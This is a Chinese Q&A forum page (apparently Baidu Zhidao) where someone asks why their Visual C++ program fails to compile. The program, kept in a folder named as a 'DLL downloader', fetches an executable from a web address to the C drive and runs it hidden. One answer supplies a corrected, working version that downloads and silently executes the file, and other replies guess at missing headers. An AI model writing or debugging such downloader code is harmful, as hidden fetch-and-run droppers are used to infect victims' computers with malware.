C程序用VC编译,总是出先一个错误,请大家给看看

来源:百度知道 编辑:UC知道 时间:2024/05/20 12:47:23
#pragma comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI ON:.text,EWR/IGNORE:4078")
#include<windows.h>

#pragma comment(lib,"Urlmon.lib")
void Entrypoint()
{
URLDownloadToFile(0,"http://www.163.com/hanhua.exe","c:\\hanhua.exe",0,0);
WinExec("c:\\hanhua.exe",SW_IIIDE);
exit(0);
}

错误提示

--------------------Configuration: dll - Win32 Release--------------------
Compiling...
dll.cpp
E:\Vc编程资料\自己写代码\down\DLL下载者\DLL该成EXE\dll\dll.cpp(15) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.

dll.exe - 1 error(s), 0 warning(s)
--------------------Configuration: erewew - Win32 Debug--------------------

我给你改了改,可能有失于您的本意但网络这方面我不通,希望对您会有点启发。
#include "stdafx.h"
#include<windows.h>
//#pragma comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI ON:.text,EWR/IGNORE:4078")

#pragma comment(lib,"Urlmon.lib")

void main()
{
URLDownloadToFile(0,"http://www.163.com/hanhua.exe","c:\\hanhua.exe",0,0);
WinExec("c:\\hanhua.exe",SW_HIDE);
exit(0);
}

看是不是程序少了一个}。

或许少了某些头文件?

可能是少了头文件
TC和VC不太一样